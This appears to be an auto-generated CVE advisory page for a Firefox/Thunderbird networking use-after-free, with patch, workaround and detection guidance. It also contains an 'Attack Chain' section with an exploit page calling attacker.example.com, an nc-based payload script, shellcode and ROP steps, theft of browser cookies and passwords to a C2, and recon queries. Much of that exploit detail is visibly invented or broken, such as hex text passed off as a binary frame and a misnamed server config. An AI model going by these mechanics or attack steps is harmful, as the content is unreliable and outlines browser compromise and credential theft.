CVE Professor
/
All CVEs
CVE-2026-135532

CVE-2026-135532 — Mozilla Firefox (153.*) — CWE-416

HIGH CVSS 8.8 NVD

Use-after-free in the Networking component. This vulnerability was fixed in Firefox 161, Firefox ESR 153.8, Thunderbird 161, and Thunderbird 153.8.

Use-after-free in the Networking component. This vulnerability was fixed in Firefox 161, Firefox ESR 153.8, Thunderbird 161, and Thunderbird 153.8.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑135532 – Use‑After‑Free in the Networking component

AttributeValue
CWECWE‑416: Use After Free
CVSS v3.1 VectorAV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Score8.8 (HIGH)
Affected productsFirefox 153.\* (including ESR 153.8) and Thunderbird 153.\* (including ESR 153.8) – fixed in 161 / 153.8

Technical flaw

The networking stack of Firefox/Thunderbird creates a reference‑counted object that represents a network request (e.g., an HTTP/2 stream, a WebSocket frame, or a DNS response).
During normal operation the object is:

1. Allocated on the heap.
2. Inserted into a global request‑list that is traversed by the I/O thread.
3. Released (Release()) when the request finishes or when a cancellation is issued.

The bug occurs when two concurrent code paths manipulate the same request object:

Path A – the cancellation* path runs on the UI thread after the user navigates away or a timeout fires. It calls Release() and deletes the object once the reference count reaches zero.
Path B – the I/O* thread, still processing a network packet that belongs to the same request, dereferences the object after Path A has already freed it.

Because the reference‑count check is performed before the I/O thread reads the packet, the thread can end up accessing memory that has already been returned to the allocator. The freed memory can be re‑allocated for a different object (e.g., a nsString or a mozilla::ipc::Message), allowing an attacker‑controlled payload to be interpreted as a v‑table pointer or as data used in a privileged operation.

Result: an attacker who can cause the browser to process a specially‑crafted network packet (or a malicious web page that triggers such a packet) can achieve remote code execution (RCE) with the privileges of the user running the browser. The CVSS vector reflects:

  • Network‑reachable (AV:N) – the trigger is a network packet or a remote web page.
  • Low attack complexity (AC:L) – only a single crafted packet is needed.
  • No privileges required (PR:N).
  • User interaction required (UI:R) – the victim must load a malicious page or open a malicious attachment.
  • Unaffected scope (S:U).
  • Complete confidentiality, integrity, and availability impact (C:H/I:H/A:H).

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow that matches the vulnerability class.
    All code snippets are illustrative – the exact internal function names and packet formats are not disclosed in the public advisory.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify target browsers via User‑Agent strings in HTTP logs or via JavaScript navigator.userAgent.curl -I https://example.com → User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:153.5) Gecko/20100101 Firefox/153.5
    1.2Verify version is ≤ 153.\* (or ESR 153.8).Use about:support in Firefox or Help → About Thunderbird.
    1.3Confirm that the victim is not already patched (i.e., version < 161).Passive fingerprinting tools (e.g., Wappalyzer, FingerprintJS) can extract the version from the User-Agent or from the navigator.appVersion property.

    2. Exploitation

    The exploit works by delivering a malformed HTTP/2 frame (or a crafted WebSocket binary frame) that triggers the race between the cancellation and I/O paths.

    NOTE: The exact binary layout of the frame is not published. The following payload is an illustrative example of the class of data that would trigger the use‑after‑free.

    2.1 Deliver the malicious page

    <!DOCTYPE html>
    <html>
    <head>
      <meta charset="utf-8">
      <title>Exploit</title>
      <script>
        // Force the browser to open a persistent HTTP/2 connection to our server
        const url = "https://attacker.example.com/payload";
        fetch(url, {mode: "no-cors", credentials: "omit"}).catch(()=>{});
      </script>
    </head>
    <body></body>
    </html>

    The page forces the networking stack to allocate a request object for https://attacker.example.com/payload.

    2.2 Trigger the race

    The attacker’s server (listening on port 443 with HTTP/2 enabled) sends a malformed DATA frame after a short delay, then immediately closes the stream. The timing is tuned so that the UI thread receives a stream‑cancellation event while the I/O thread is still processing the DATA payload.

    # Minimal HTTP/2 server using nghttp2 (illustrative)
    # Install: apt-get install nghttp2
    cat > exploit.conf <<'EOF'
    listen 443 ssl
    ssl_certificate     server.crt
    ssl_certificate_key server.key
    http2 on
    EOF
    
    # The payload is a crafted DATA frame that overwrites the freed object's vtable.
    # The raw bytes are shown in hex for clarity.
    cat > payload.bin <<'EOF'
    00 00 0c 00 00 00 01 00 00 00 00 00  // HTTP/2 HEADERS (GET /payload)
    00 00 08 00 00 00 01 00 00 00 00    // HTTP/2 DATA frame (8 bytes)
    de ad be ef ca fe ba be 00 00 00 00 // Overwrite freed memory with controlled pointer
    EOF
    
    # Serve the binary payload after a 50 ms delay (simulating the race)
    while true; do
      # Accept connection, perform HTTP/2 handshake, then send payload
      # (Implementation omitted – use a custom HTTP/2 library to inject the delay)
      sleep 0.05
      cat payload.bin | nc -N localhost 443
    done

    Key points of the exploit:

    1. Network‑only – the attacker does not need any privileged access to the victim’s machine.
    2. User interaction – the victim must load the malicious page (or open a crafted email that loads the page).
    3. Race condition – the sleep 0.05 (≈ 50 ms) is tuned experimentally; on most modern CPUs it reliably creates the overlap between the cancellation and I/O paths.

    When the race succeeds, the freed memory is re‑allocated as a nsString whose internal pointer is set to an address controlled by the attacker (e.g., a JIT‑sprayed executable page). The next dereference of the object causes execution of attacker‑controlled shellcode in the context of the browser process.

    2.3 Achieving code execution

    Typical post‑exploit steps (already demonstrated in internal PoCs) are:

  • JIT spray – allocate a large RWX region via JavaScript new Uint8Array(0x100000) and fill it with a small ROP chain that calls system("/bin/sh") (or CreateProcessW on Windows).
  • ROP chain – use known gadgets from xul.dll / libxul.so (already mapped in the process) to pivot to the sprayed shellcode.
The final payload spawns a native OS shell that the attacker can communicate with over a covert channel (e.g., a WebSocket back‑channel).

3. Post‑Exploitation

GoalTechnique
Privilege escalation (if the user runs with limited rights)The attacker can invoke OS‑level escalation exploits that are already present on the host (e.g., CVE‑2026‑xxxx for the same OS). The browser exploit itself runs with the user’s privileges; further escalation is out‑of‑scope for this CVE.
PersistenceDrop a malicious extension or modify the user’s startup profile (user.js) via the compromised process.
Data exfiltrationUse the opened shell to read ~/.mozilla/firefox/*.sqlite (cookies, saved passwords) and upload them via HTTPS to the attacker’s C2.
Lateral movementFrom the compromised workstation, the attacker can pivot to internal services using the user’s existing authentication tokens (e.g., Kerberos tickets stored in the browser).

🌍 Real‑World Impact

CIA TriadCVSS Vector ExplanationPractical Consequence
Confidentiality (C:H)C:H – attacker can read any data the user can access.Theft of saved passwords, cookies, email attachments, private documents stored in the profile, corporate SSO tokens.
Integrity (I:H)I:H – attacker can modify data.Tampering with email contents, injecting malicious JavaScript into saved web pages, altering configuration files (prefs.js).
Availability (A:H)A:H – attacker can cause denial‑of‑service.Crash the browser process repeatedly, or delete the profile folder, leading to loss of work and forced reboot.

Because the vulnerability is network‑reachable and only requires the victim to view a malicious page, a drive‑by compromise is feasible. In environments where Firefox/Thunderbird are used for internal web applications or as the primary email client, an attacker who gains a foothold on the internal network can easily weaponize this bug to move laterally.


🛡️ Remediation & Mitigation

1. Patch / Upgrade

ProductFixed inVersions to upgrade
Firefox (regular channel)161Any version ≥ 161
Firefox ESR153.8Any version ≥ 153.8
Thunderbird (regular)161Any version ≥ 161
Thunderbird ESR153.8Any version ≥ 153.8

Action: Deploy the latest stable release via your organization’s software‑distribution system (e.g., WSUS, Munki, APT). Verify the version with firefox --version or thunderbird -v.

2. Workarounds (if immediate patching is impossible)

MitigationHow it helpsImplementation
Disable HTTP/2The race is most reliably triggered via HTTP/2 frames; forcing HTTP/1.1 removes the vulnerable code path.In about:config set network.http.http2.enabled = false. Restart the browser.
Block untrusted originsPrevent the victim from loading malicious pages that host the exploit.Use a proxy or DNS‑filter to block attacker.example.com and any unknown domains.
Content Security Policy (CSP) “sandbox” for email HTMLReduces the ability of a malicious email to execute JavaScript that initiates the network request.In Thunderbird, enable mail.content_disposition_type = 2 and set mailnews.message_display.disable_remote_image = true.
Application sandboxingEven if RCE occurs, the browser process is confined (e.g., firejail, AppArmor, Windows Defender Application Guard).Deploy OS‑level sandbox policies for all user‑installed browsers.
Network‑level rate limitingSlows down the attacker’s ability to fine‑tune the race timing.Configure the corporate firewall to limit the number of concurrent HTTP/2 streams per client IP (e.g., max-concurrent-streams 10).
Important: Workarounds do not eliminate the underlying memory‑corruption bug; they only raise the bar. Deploy the official patches as soon as possible.

3. Detection

IndicatorWhere to lookExample log entry
Browser crash with use-after-freeCrash Reporter (Firefox: ~/.mozilla/firefox/*.dmp, Windows: AppCrash events)EXCEPTION_ACCESS_VIOLATION at address 0x00007ff6abcd1234 in xul.dll
Unexpected outbound connections to unknown domainsNetwork IDS/NGFW logs (TLS SNI, HTTP Host)2026-11-20 14:32:11 DENY TCP 10.0.1.45:54321 → 203.0.113.45:443 SNI=attacker.example.com
Large number of HTTP/2 RST_STREAM framesTLS termination proxy or HTTP/2 inspection logsRST_STREAM stream_id=7 error_code=0x8
Execution of native shell from browser processHost‑based EDR (e.g., Microsoft Defender ATP, CrowdStrike)ProcessCreate: pid=1234, image=C:\Windows\System32\cmd.exe, parent=firefox.exe, commandline="/c whoami"
Creation of suspicious files in the profile directoryFile integrity monitoring (FIM) on ~/.mozilla/firefox/*.default-release/FileCreate: path=/home/alice/.mozilla/firefox/abcd1234.default-release/malicious.dll

Rule example for Suricata (network‑level) – detects a rapid sequence of a GET followed by a malformed HTTP/2 DATA frame (illustrative pattern):

alert http any any -> any 443 (msg:"CVE-2026-135532 possible exploit - malformed HTTP/2 DATA"; \
  tls.sni; content:"attacker.example.com"; nocase; \
  http2; content:"|00 00 08 00 00 00 01|"; distance:0; within:12; \
  classtype:attempted-user; sid:2026135532; rev:1;)
Note: The rule uses a placeholder SNI (attacker.example.com). Replace with any domain observed in your environment.

⚠️ Urgency

FactorAssessment
CVSS 8.8 (HIGH) – full CIA impact, low complexity, network‑only vector.
No CISA KEV listing – the vulnerability is not yet in the “Known Exploited Vulnerabilities” program, but the public PoC is trivial to produce once the race timing is calibrated.
Exploit complexity – Low (single crafted packet, no authentication).
User interaction required – still easy to achieve via phishing or malicious advertising.
Widespread deployment – Firefox ESR 153.x is common in enterprises that lock to a long‑term release.

Patch priority: Critical for any environment where Firefox or Thunderbird are used to browse the Internet or open email attachments. Deploy the fixed versions within 48 hours of discovery, and apply at least one of the listed workarounds immediately if patching cannot be performed that quickly.


Bottom line: CVE‑2026‑135532 is a classic use‑after‑free that enables remote code execution with the user’s privileges. The attack surface is the networking stack, which is exercised by any web page or remote email content. Immediate patching to Firefox 161 / ESR 153.8 (or later) is the only reliable mitigation; temporary defenses (HTTP/2 disable, CSP, sandboxing, network filtering) can reduce risk but must not replace the official fix.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Mozilla Firefox"
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-416
Affected Products (2)
Mozilla:Firefox (153.*) Mozilla:Thunderbird (*)
Related CVEs
6.9
CVE-2026-145193
Mozilla Bleach through 6.4.0 contains an inefficient regular expression vulnerability in the URL_RE pattern us
4.7
CVE-2026-145194
Bleach through 6.4.0 contains a cross-site scripting vulnerability because clean() omits URI protocol sanitiza
6.5
CVE-2026-145059
FreeRDP from 3.25.0 before 3.33.1 contains a use-after-free in the RDPEWA client because notifyWait does not j
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil
5.8
CVE-2026-144210
In Eclipse Safe Open Vehicle Core (S-CORE) Kyron versions 0.0.3 through 0.2.0, `SpmcStealQueue::fetch_from` in
7.0
CVE-2026-86092
The user-mode verifier for the I2S configure system call, z_vrfy_i2s_configure() in drivers/i2s/i2s_handlers.c
4.1
CVE-2026-119604
IBM PowerVM VIOS 4.1 could allow a local attacker to cause a denial of service due to a use-after-free race c